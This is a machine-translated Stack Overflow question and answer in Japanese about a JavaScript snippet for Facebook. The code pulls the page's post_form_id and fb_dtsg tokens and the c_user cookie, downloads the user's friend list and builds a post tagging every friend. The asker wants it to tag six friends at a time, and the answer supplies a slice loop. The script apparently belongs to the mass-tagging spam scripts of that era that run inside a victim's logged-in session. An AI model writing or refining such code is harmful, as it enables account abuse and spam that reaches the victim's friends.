2011-12-15 8 views
1

stackoverflowがコードを乱しているので、ここに貼り付けましたhttp://pastebin.com/xA8wT3M2配列から一度に6を選択するjavascript?

コードは、友だちのリスト全体を選択するものです。私がむしろそれをしたいのは、リストが完了するまで、繰り返しなしで配列のために一度に6つを選択することです。

私は、これは6を選ぶ知っているが、それはEDIT上と

var i=0;i<6; 

上のアレイからの最初の6を選んで保持します:

var post_form_id = document.getElementsByName('post_form_id')[0].value; 
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; 
var uid = document.cookie.match(/c_user=(\d+);/)[1]; 
var friends = new Array(); 
gf = new XMLHttpRequest(); 
gf.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&" + Math.random(), false); 
gf.send(); 
if (gf.readyState != 4) {} else { 
    data = eval('(' + gf.responseText.substr(9) + ')'); 
    if (data.error) {} else { 
     friends = data.payload.entries.sort(function() { 
      return (Math.round(Math.random()) - 0.5); 
     }); 
    } 
} 
var postmessage = "gerrgg"; 
for (var i = 0; i < friends.length; i++) { 
    postmessage = postmessage + "@[" + friends[i].uid + ":" + friends[i].text + "] "; 
} 
+1

ペーストビンのリンクは完全にフォーマットされていません。私はそれがいくつかの書式設定の問題でもここに貼り付けるよりも良いアイデアかどうかは分かりません。私は質問を編集しました - それは今コードを含んでいます。 – kubetz

+0

特に、私が真剣にそれをフォーマットする正しい方法に慣れていないので、SOが "あなたのコードを台無しにしている"ことを真剣に疑っているからです。 –

答えて

2

配列の使用sliceから6つの要素を選択維持するために:

var arrSliceOf6 = []; 
for(var i = 0; i < arr.length; i += 6) 
    arrSliceOf6 = arr.slice(i, i + 6); 

ここにあるのはdemo

です
関連する問題